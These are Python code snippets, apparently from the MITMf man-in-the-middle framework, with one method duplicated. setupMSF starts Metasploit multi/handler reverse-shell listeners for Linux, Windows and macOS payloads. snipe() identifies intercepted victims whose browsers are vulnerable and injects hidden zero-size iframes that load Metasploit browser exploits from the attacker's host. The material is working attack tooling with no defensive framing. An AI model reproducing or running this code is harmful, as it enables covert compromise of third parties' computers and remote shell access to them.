def setupMSF(self): msf = Msf() for config in [ self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64, ]: cmd = "use exploit/multi/handler\n" cmd += "set payload {}\n".format(config["MSFPAYLOAD"]) cmd += "set LHOST {}\n".format(config["HOST"]) cmd += "set LPORT {}\n".format(config["PORT"]) cmd += "set ExitOnSession False\n" cmd += "exploit -j\n" pid = msf.findpid("multi/handler") if pid: info = msf.jobinfo(pid) if ( (info["datastore"]["payload"] == config["MSFPAYLOAD"]) and (info["datastore"]["LPORT"] == config["PORT"]) and (info["datastore"]["lhost"] != config["HOST"]) ): msf.killjob(pid) msf.sendcommand(cmd) else: msf.sendcommand(cmd) else: msf.sendcommand(cmd)
def snipe(self): while True: if self.output: vic_ip = self.output['ip'] msfport = self.config['MITMf']['Metasploit']['msfport'] exploits = self.getExploits() if not exploits: if vic_ip not in self.sploited_ips: mitmf_logger.info('{} [BrowserSniper] Client not vulnerable to any exploits, adding to blacklist'.format(vic_ip)) self.sploited_ips.append(vic_ip) self.black_ips = self.sploited_ips elif exploits and (vic_ip not in self.sploited_ips): mitmf_logger.info("{} [BrowserSniper] Client vulnerable to {} exploits".format(vic_ip, len(exploits))) inject_payload = '' msf = Msf() for exploit in exploits: pid = msf.findpid(exploit) if pid: mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit)) url = msf.jobinfo(pid)['uripath'] #get the url assigned to the exploit inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, msfport, url) else: url, port = self._setupExploit(exploit, msfport) inject_payload += "<iframe src='http://{}:{}{}' height=0%% width=0%%></iframe>".format(self.msfip, port, url) self.injectAndPoll(vic_ip, inject_payload) sleep(1)
def setupMSF(self): msf = Msf() for config in [ self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64 ]: cmd = "use exploit/multi/handler\n" cmd += "set payload {}\n".format(config["MSFPAYLOAD"]) cmd += "set LHOST {}\n".format(config["HOST"]) cmd += "set LPORT {}\n".format(config["PORT"]) cmd += "set ExitOnSession False\n" cmd += "exploit -j\n" pid = msf.findpid('multi/handler') if pid: info = msf.jobinfo(pid) if (info['datastore']['payload'] == config["MSFPAYLOAD"]) and ( info['datastore']['LPORT'] == config["PORT"]) and ( info['datastore']['lhost'] != config['HOST']): msf.killjob(pid) msf.sendcommand(cmd) else: msf.sendcommand(cmd) else: msf.sendcommand(cmd)